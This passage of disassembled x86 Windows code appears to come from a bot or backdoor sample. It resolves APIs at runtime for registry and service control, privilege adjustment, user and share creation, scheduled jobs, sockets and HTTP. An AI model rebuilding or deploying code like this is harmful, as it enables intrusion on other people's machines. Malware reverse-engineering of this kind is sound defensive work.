; ---------------------------------------------------------------------------


loc_404710:				; CODE XREF: sub_4045F0+1Dj
		call	dword_417044	; RtlGetLastWin32Error
		mov	dword_42B48C, eax
		mov	dword_42B488, 1


loc_404725:				; CODE XREF: sub_4045F0+117j
					; sub_4045F0+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	dword_417084	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4047E0
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_42B42C, eax
		call	esi	; GetProcAddress
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_42B3E0, eax
		call	esi	; GetProcAddress
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_42B378, eax
		call	esi	; GetProcAddress
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_42B480, eax
		call	esi	; GetProcAddress
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_42B3A4, eax
		call	esi	; GetProcAddress
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_42B3C4, eax
		call	esi	; GetProcAddress
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_42B424, eax
		call	esi	; GetProcAddress
		cmp	dword_42B42C, ebx
		mov	dword_42B330, eax
		jz	short loc_4047EB
		cmp	dword_42B3E0, ebx
		jz	short loc_4047EB
		cmp	dword_42B378, ebx
		jz	short loc_4047EB
		cmp	dword_42B480, ebx
		jz	short loc_4047EB
		cmp	dword_42B3A4, ebx
		jz	short loc_4047EB
		cmp	dword_42B3C4, ebx
		jz	short loc_4047EB
		cmp	dword_42B424, ebx
		jz	short loc_4047EB
		cmp	eax, ebx
		jnz	short loc_4047F5
		jmp	short loc_4047EB
; ---------------------------------------------------------------------------


loc_4047E0:				; CODE XREF: sub_4045F0+144j
		call	dword_417044	; RtlGetLastWin32Error
		mov	dword_42B494, eax


loc_4047EB:				; CODE XREF: sub_4045F0+1B8j
					; sub_4045F0+1C0j ...
		mov	dword_42B490, 1


loc_4047F5:				; CODE XREF: sub_4045F0+1ECj
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_404990
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_42B440, eax
		call	esi	; GetProcAddress
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_42B38C, eax
		call	esi	; GetProcAddress
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_42B3F8, eax
		call	esi	; GetProcAddress
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_42B2F8, eax
		call	esi	; GetProcAddress
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_42B350, eax
		call	esi	; GetProcAddress
		cmp	dword_42B440, ebx
		mov	dword_42B3B0, eax
		jz	short loc_404880
		cmp	dword_42B38C, ebx
		jz	short loc_404880
		cmp	dword_42B3F8, ebx
		jz	short loc_404880
		cmp	dword_42B2F8, ebx
		jz	short loc_404880
		cmp	dword_42B350, ebx
		jz	short loc_404880
		cmp	eax, ebx
		jnz	short loc_40488A


loc_404880:				; CODE XREF: sub_4045F0+26Aj
					; sub_4045F0+272j ...
		mov	dword_42B498, 1


loc_40488A:				; CODE XREF: sub_4045F0+28Ej
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi	; GetProcAddress
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_42B3B8, eax
		call	esi	; GetProcAddress
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_42B394, eax
		call	esi	; GetProcAddress
		cmp	dword_42B3B8, ebx
		mov	dword_42B43C, eax
		jz	short loc_4048C5
		cmp	dword_42B394, ebx
		jz	short loc_4048C5
		cmp	eax, ebx
		jnz	short loc_4048CF


loc_4048C5:				; CODE XREF: sub_4045F0+2C7j
					; sub_4045F0+2CFj
		mov	dword_42B498, 1


loc_4048CF:				; CODE XREF: sub_4045F0+2D3j
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_42B3C8, eax
		call	esi	; GetProcAddress
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_42B2D4, eax
		call	esi	; GetProcAddress
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_42B2DC, eax
		call	esi	; GetProcAddress
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_42B338, eax
		call	esi	; GetProcAddress
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_42B33C, eax
		call	esi	; GetProcAddress
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_42B2F0, eax
		call	esi	; GetProcAddress
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_42B398, eax
		call	esi	; GetProcAddress
		cmp	dword_42B3C8, ebx
		mov	dword_42B2E0, eax
		jz	short loc_404973
		cmp	dword_42B2D4, ebx
		jz	short loc_404973
		cmp	dword_42B2DC, ebx
		jz	short loc_404973
		cmp	dword_42B338, ebx
		jz	short loc_404973
		cmp	dword_42B33C, ebx
		jz	short loc_404973
		cmp	dword_42B2F0, ebx
		jz	short loc_404973
		cmp	dword_42B398, ebx
		jz	short loc_404973
		cmp	eax, ebx
		jnz	short loc_40497D


loc_404973:				; CODE XREF: sub_4045F0+34Dj
					; sub_4045F0+355j ...
		mov	dword_42B498, 1


loc_40497D:				; CODE XREF: sub_4045F0+381j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_42B2D8, eax
		jnz	short loc_4049A5
		jmp	short loc_40499B
; ---------------------------------------------------------------------------


loc_404990:				; CODE XREF: sub_4045F0+210j
		call	dword_417044	; RtlGetLastWin32Error
		mov	dword_42B49C, eax


loc_40499B:				; CODE XREF: sub_4045F0+39Ej
		mov	dword_42B498, 1


loc_4049A5:				; CODE XREF: sub_4045F0+39Cj
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_404A71
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_42B3C0, eax
		call	esi	; GetProcAddress
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_42B414, eax
		call	esi	; GetProcAddress
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_42B41C, eax
		call	esi	; GetProcAddress
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_42B3DC, eax
		call	esi	; GetProcAddress
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_42B318, eax
		call	esi	; GetProcAddress
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_42B2CC, eax
		call	esi	; GetProcAddress
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_42B418, eax
		call	esi	; GetProcAddress
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_42B2B8, eax
		call	esi	; GetProcAddress
		cmp	dword_42B3C0, ebx
		mov	dword_42B348, eax
		jz	short loc_404A7C
		cmp	dword_42B414, ebx
		jz	short loc_404A7C
		cmp	dword_42B41C, ebx
		jz	short loc_404A7C
		cmp	dword_42B3DC, ebx
		jz	short loc_404A7C
		cmp	dword_42B318, ebx
		jz	short loc_404A7C
		cmp	dword_42B2CC, ebx
		jz	short loc_404A7C
		cmp	dword_42B418, ebx
		jz	short loc_404A7C
		cmp	dword_42B2B8, ebx
		jz	short loc_404A7C
		cmp	eax, ebx
		jnz	short loc_404A86
		jmp	short loc_404A7C
; ---------------------------------------------------------------------------


loc_404A71:				; CODE XREF: sub_4045F0+3C0j
		call	dword_417044	; RtlGetLastWin32Error
		mov	dword_42B4A4, eax


loc_404A7C:				; CODE XREF: sub_4045F0+441j
					; sub_4045F0+449j ...
		mov	dword_42B4A0, 1


loc_404A86:				; CODE XREF: sub_4045F0+47Dj
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	dword_417084	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_404E4F
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_42B35C, eax
		call	esi	; GetProcAddress
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_42B474, eax
		call	esi	; GetProcAddress
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_42B308, eax
		call	esi	; GetProcAddress
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_42B2E4, eax
		call	esi	; GetProcAddress
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_42B384, eax
		call	esi	; GetProcAddress
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_42B370, eax
		call	esi	; GetProcAddress
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_42B344, eax
		call	esi	; GetProcAddress
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_42B450, eax
		call	esi	; GetProcAddress
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_42B46C, eax
		call	esi	; GetProcAddress
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_42B380, eax
		call	esi	; GetProcAddress
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_42B45C, eax
		call	esi	; GetProcAddress
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_42B410, eax
		call	esi	; GetProcAddress
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_42B3D4, eax
		call	esi	; GetProcAddress
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_42B3D0, eax
		call	esi	; GetProcAddress
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_42B324, eax
		call	esi	; GetProcAddress
		push	offset aSend	; "send"
		push	edi
		mov	dword_42B31C, eax
		call	esi	; GetProcAddress
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_42B420, eax
		call	esi	; GetProcAddress
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_42B434, eax
		call	esi	; GetProcAddress
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_42B3EC, eax
		call	esi	; GetProcAddress
		mov	dword_42B3AC, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSelect	; "select"
		push	edi
		mov	dword_42B400, eax
		call	esi	; GetProcAddress
		push	offset aListen	; "listen"
		push	edi
		mov	dword_42B3BC, eax
		call	esi	; GetProcAddress
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_42B3FC, eax
		call	esi	; GetProcAddress
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_42B464, eax
		call	esi	; GetProcAddress
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_42B3B4, eax
		call	esi	; GetProcAddress
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_42B37C, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_42B3E8, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_42B454, eax
		call	esi	; GetProcAddress
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_42B390, eax
		call	esi	; GetProcAddress
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_42B340, eax
		call	esi	; GetProcAddress
		cmp	dword_42B35C, ebx
		mov	dword_42B468, eax
		jz	loc_404D36
		cmp	dword_42B474, ebx
		jz	loc_404D36
		cmp	dword_42B308, ebx
		jz	loc_404D36
		cmp	dword_42B384, ebx
		jz	loc_404D36
		cmp	dword_42B370, ebx
		jz	loc_404D36
		cmp	dword_42B344, ebx
		jz	loc_404D36
		cmp	dword_42B450, ebx
		jz	loc_404D36
		cmp	dword_42B46C, ebx
		jz	loc_404D36
		cmp	dword_42B380, ebx
		jz	loc_404D36
		cmp	dword_42B45C, ebx
		jz	loc_404D36
		cmp	dword_42B410, ebx
		jz	loc_404D36
		cmp	dword_42B3D4, ebx
		jz	short loc_404D36
		cmp	dword_42B3D0, ebx
		jz	short loc_404D36
		cmp	dword_42B324, ebx
		jz	short loc_404D36
		cmp	dword_42B420, ebx
		jz	short loc_404D36
		cmp	dword_42B434, ebx
		jz	short loc_404D36
		cmp	dword_42B3EC, ebx
		jz	short loc_404D36
		cmp	dword_42B3AC, ebx
		jz	short loc_404D36
		cmp	dword_42B400, ebx
		jz	short loc_404D36
		cmp	dword_42B3BC, ebx
		jz	short loc_404D36
		cmp	dword_42B3FC, ebx
		jz	short loc_404D36
		cmp	dword_42B464, ebx
		jz	short loc_404D36
		cmp	dword_42B3B4, ebx
		jz	short loc_404D36
		cmp	dword_42B37C, ebx
		jz	short loc_404D36
		cmp	dword_42B3E8, ebx
		jz	short loc_404D36
		cmp	dword_42B454, ebx
		jz	short loc_404D36
		cmp	dword_42B390, ebx
		jz	short loc_404D36
		cmp	eax, ebx
		jnz	short loc_404D40


loc_404D36:				; CODE XREF: sub_4045F0+644j
					; sub_4045F0+650j ...
		mov	dword_42B4A8, 1


loc_404D40:				; CODE XREF: sub_4045F0+744j
		mov	ebp, dword_417044


loc_404D46:				; CODE XREF: sub_4045F0+876j
		push	offset aWininet_dll ; "wininet.dll"
		call	dword_417084	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_404E6B
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi	; GetProcAddress
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_42B32C, eax
		call	esi	; GetProcAddress
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_42B2C0, eax
		call	esi	; GetProcAddress
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_42B3A0, eax
		call	esi	; GetProcAddress
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_42B360, eax
		call	esi	; GetProcAddress
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_42B3A8, eax
		call	esi	; GetProcAddress
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_42B374, eax
		call	esi	; GetProcAddress
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_42B2FC, eax
		call	esi	; GetProcAddress
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_42B2F4, eax
		call	esi	; GetProcAddress
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_42B304, eax
		call	esi	; GetProcAddress
		cmp	dword_42B32C, ebx
		mov	ecx, dword_42B374
		mov	dword_42B404, eax
		jz	short loc_404E2B
		cmp	dword_42B2C0, ebx
		jz	short loc_404E2B
		cmp	dword_42B3A0, ebx
		jz	short loc_404E2B
		cmp	dword_42B360, ebx
		jz	short loc_404E2B
		cmp	dword_42B3A8, ebx
		jz	short loc_404E2B
		cmp	ecx, ebx
		jz	short loc_404E2B
		cmp	dword_42B2FC, ebx
		jz	short loc_404E2B
		cmp	dword_42B2F4, ebx
		jz	short loc_404E2B
		cmp	dword_42B304, ebx
		jz	short loc_404E2B
		cmp	eax, ebx
		jnz	short loc_404E35


loc_404E2B:				; CODE XREF: sub_4045F0+7F9j
					; sub_4045F0+801j ...
		mov	dword_42B4B0, 1


loc_404E35:				; CODE XREF: sub_4045F0+839j
		cmp	ecx, ebx
		jz	short loc_404E82
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx	; InternetOpenA
		cmp	eax, ebx
		mov	dword_42B388, eax
		jnz	short loc_404E82
		jmp	short loc_404E7C
; ---------------------------------------------------------------------------


loc_404E4F:				; CODE XREF: sub_4045F0+4A5j
		mov	ebp, dword_417044
		call	ebp	; RtlGetLastWin32Error
		mov	dword_42B4AC, eax
		mov	dword_42B4A8, 1
		jmp	loc_404D46
; ---------------------------------------------------------------------------


loc_404E6B:				; CODE XREF: sub_4045F0+765j
		call	ebp	; RtlGetLastWin32Error
		mov	dword_42B4B4, eax
		mov	dword_42B4B0, 1


loc_404E7C:				; CODE XREF: sub_4045F0+85Dj
		mov	dword_42B388, ebx


loc_404E82:				; CODE XREF: sub_4045F0+847j
					; sub_4045F0+85Bj
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	dword_417084	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_404F7C
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi	; GetProcAddress
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_42B2EC, eax
		call	esi	; GetProcAddress
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_42B2C8, eax
		call	esi	; GetProcAddress
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_42B334, eax
		call	esi	; GetProcAddress
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_42B364, eax
		call	esi	; GetProcAddress
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_42B460, eax
		call	esi	; GetProcAddress
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_42B320, eax
		call	esi	; GetProcAddress
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_42B2D0, eax
		call	esi	; GetProcAddress
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_42B2C4, eax
		call	esi	; GetProcAddress
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_42B34C, eax
		call	esi	; GetProcAddress
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_42B428, eax
		call	esi	; GetProcAddress
		cmp	dword_42B2EC, ebx
		mov	dword_42B3E4, eax
		jz	short loc_404F83
		cmp	dword_42B2C8, ebx
		jz	short loc_404F83
		cmp	dword_42B334, ebx
		jz	short loc_404F83
		cmp	dword_42B364, ebx
		jz	short loc_404F83
		cmp	dword_42B460, ebx
		jz	short loc_404F83
		cmp	dword_42B320, ebx
		jz	short loc_404F83
		cmp	dword_42B2D0, ebx
		jz	short loc_404F83
		cmp	dword_42B2C4, ebx
		jz	short loc_404F83
		cmp	dword_42B34C, ebx
		jz	short loc_404F83
		cmp	dword_42B428, ebx
		jz	short loc_404F83
		cmp	eax, ebx
		jnz	short loc_404F8D
		jmp	short loc_404F83
; ---------------------------------------------------------------------------


loc_404F7C:				; CODE XREF: sub_4045F0+8A1j
		call	ebp	; RtlGetLastWin32Error
		mov	dword_42B4C4, eax


loc_404F83:				; CODE XREF: sub_4045F0+93Cj
					; sub_4045F0+944j ...
		mov	dword_42B4C0, 1


loc_404F8D:				; CODE XREF: sub_4045F0+988j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	dword_417084	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_404FC6
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_42B310, eax
		call	esi	; GetProcAddress
		cmp	dword_42B310, ebx
		mov	dword_42B3CC, eax
		jz	short loc_404FCD
		cmp	eax, ebx
		jnz	short loc_404FD7
		jmp	short loc_404FCD
; ---------------------------------------------------------------------------


loc_404FC6:				; CODE XREF: sub_4045F0+9ACj
		call	ebp	; RtlGetLastWin32Error
		mov	dword_42B4CC, eax


loc_404FCD:				; CODE XREF: sub_4045F0+9CEj
					; sub_4045F0+9D4j
		mov	dword_42B4C8, 1


loc_404FD7:				; CODE XREF: sub_4045F0+9D2j
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	dword_417084	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_405010
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_42B44C, eax
		call	esi	; GetProcAddress
		cmp	dword_42B44C, ebx
		mov	dword_42B448, eax
		jz	short loc_405017
		cmp	eax, ebx
		jnz	short loc_405021
		jmp	short loc_405017
; ---------------------------------------------------------------------------


loc_405010:				; CODE XREF: sub_4045F0+9F6j
		call	ebp	; RtlGetLastWin32Error
		mov	dword_42B4D4, eax


loc_405017:				; CODE XREF: sub_4045F0+A18j
					; sub_4045F0+A1Ej
		mov	dword_42B4D0, 1


loc_405021:				; CODE XREF: sub_4045F0+A1Cj
		push	offset aMpr_dll	; "mpr.dll"
		call	dword_417084	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_405084
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_42B478, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_42B470, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_42B438, eax
		call	esi	; GetProcAddress
		cmp	dword_42B478, ebx
		mov	dword_42B328, eax
		jz	short loc_40508B
		cmp	dword_42B470, ebx
		jz	short loc_40508B
		cmp	dword_42B438, ebx
		jz	short loc_40508B
		cmp	eax, ebx
		jnz	short loc_405095
		jmp	short loc_40508B
; ---------------------------------------------------------------------------


loc_405084:				; CODE XREF: sub_4045F0+A40j
		call	ebp	; RtlGetLastWin32Error
		mov	dword_42B4DC, eax


loc_40508B:				; CODE XREF: sub_4045F0+A7Cj
					; sub_4045F0+A84j ...
		mov	dword_42B4D8, 1


loc_405095:				; CODE XREF: sub_4045F0+A90j
		push	offset aShell32_dll ; "shell32.dll"
		call	dword_417084	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4050CE
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_42B358, eax
		call	esi	; GetProcAddress
		cmp	dword_42B358, ebx
		mov	dword_42B444, eax
		jz	short loc_4050D5
		cmp	eax, ebx
		jnz	short loc_4050DF
		jmp	short loc_4050D5
; ---------------------------------------------------------------------------


loc_4050CE:				; CODE XREF: sub_4045F0+AB4j
		call	ebp	; RtlGetLastWin32Error
		mov	dword_42B4E4, eax


loc_4050D5:				; CODE XREF: sub_4045F0+AD6j
					; sub_4045F0+ADCj
		mov	dword_42B4E0, 1


loc_4050DF:				; CODE XREF: sub_4045F0+ADAj
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	dword_417084	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40516C
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_42B40C, eax
		call	esi	; GetProcAddress
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_42B458, eax
		call	esi	; GetProcAddress
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_42B39C, eax
		call	esi	; GetProcAddress
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_42B368, eax
		call	esi	; GetProcAddress
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_42B3F0, eax
		call	esi	; GetProcAddress
		cmp	dword_42B40C, ebx
		mov	dword_42B36C, eax
		jz	short loc_405173
		cmp	dword_42B458, ebx
		jz	short loc_405173
		cmp	dword_42B39C, ebx
		jz	short loc_405173
		cmp	dword_42B368, ebx
		jz	short loc_405173
		cmp	dword_42B3F0, ebx
		jz	short loc_405173
		cmp	eax, ebx
		jnz	short loc_40517D
		jmp	short loc_405173
; ---------------------------------------------------------------------------


loc_40516C:				; CODE XREF: sub_4045F0+AFEj
		call	ebp	; RtlGetLastWin32Error
		mov	dword_42B4EC, eax


loc_405173:				; CODE XREF: sub_4045F0+B54j
					; sub_4045F0+B5Cj ...
		mov	dword_42B4E8, 1


loc_40517D:				; CODE XREF: sub_4045F0+B78j
		pop	edi
		xor	eax, eax
		pop	esi
		pop	ebp
		inc	eax
		pop	ebx
		retn
sub_4045F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405185	proc near		; CODE XREF: sub_406BAB+8F7p
					; sub_406BAB+922p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_405210
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_405210
		cmp	[ebp+arg_8], esi
		jz	short loc_405210
		cmp	byte ptr [eax],	0
		jz	short loc_405210
		push	ebx
		push	edi
		call	sub_4160B0
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_40520B
		push	[ebp+arg_4]
		push	edi
		call	sub_40CE60
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_405204
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_40B110
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_40B5B0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_40AF90
		push	[ebp+arg_4]
		call	sub_40B5B0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_40CD80
		push	ebx
		push	edi
		call	sub_40CD70
		add	esp, 30h
		mov	esi, edi


loc_405204:				; CODE XREF: sub_405185+3Cj
		push	ebx
		call	sub_40B771
		pop	ecx


loc_40520B:				; CODE XREF: sub_405185+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_405212
; ---------------------------------------------------------------------------


loc_405210:				; CODE XREF: sub_405185+Cj
					; sub_405185+13j ...
		xor	eax, eax


loc_405212:				; CODE XREF: sub_405185+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_405185	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405216	proc near		; CODE XREF: sub_406A2F+E9p

var_960		= dword	ptr -960h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 960h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	960h
		lea	eax, [ebp+var_960]
		push	ebx
		push	eax
		call	sub_40B630
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_40B5B0
		xor	edi, edi
		add	esp, 10h
		inc	edi
		cmp	eax, edi
		jge	short loc_40524E
		or	eax, 0FFFFFFFFh
		jmp	short loc_4052B5
; ---------------------------------------------------------------------------


loc_40524E:				; CODE XREF: sub_405216+31j
		xor	ecx, ecx
		cmp	eax, ebx
		mov	[ebp+var_960], esi
		jle	short loc_40526F


loc_40525A:				; CODE XREF: sub_405216+57j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_405267
		cmp	dl, 0Dh
		jnz	short loc_40526A


loc_405267:				; CODE XREF: sub_405216+4Aj
		mov	[ecx+esi], bl


loc_40526A:				; CODE XREF: sub_405216+4Fj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_40525A


loc_40526F:				; CODE XREF: sub_405216+42j
		xor	edx, edx
		cmp	eax, ebx
		jle	short loc_405297


loc_405275:				; CODE XREF: sub_405216+7Fj
		cmp	[edx+esi], bl
		jnz	short loc_405292
		lea	ecx, [edx+esi+1]
		cmp	[ecx], bl
		jz	short loc_405292
		cmp	edi, 258h
		jge	short loc_405297
		mov	[ebp+edi*4+var_960], ecx
		inc	edi


loc_405292:				; CODE XREF: sub_405216+62j
					; sub_405216+6Aj
		inc	edx
		cmp	edx, eax
		jl	short loc_405275


loc_405297:				; CODE XREF: sub_405216+5Dj
					; sub_405216+72j
		cmp	[ebp+arg_4], ebx
		jz	short loc_4052B3
		lea	eax, [ebp+var_960]
		push	960h
		push	eax
		push	[ebp+arg_4]
		call	sub_40B210
		add	esp, 0Ch


loc_4052B3:				; CODE XREF: sub_405216+84j
		mov	eax, edi


loc_4052B5:				; CODE XREF: sub_405216+36j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_405216	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4052BA	proc near		; CODE XREF: sub_406BAB+1EA5p
					; sub_406BAB+2618p

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		call	dword_417044	; RtlGetLastWin32Error
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
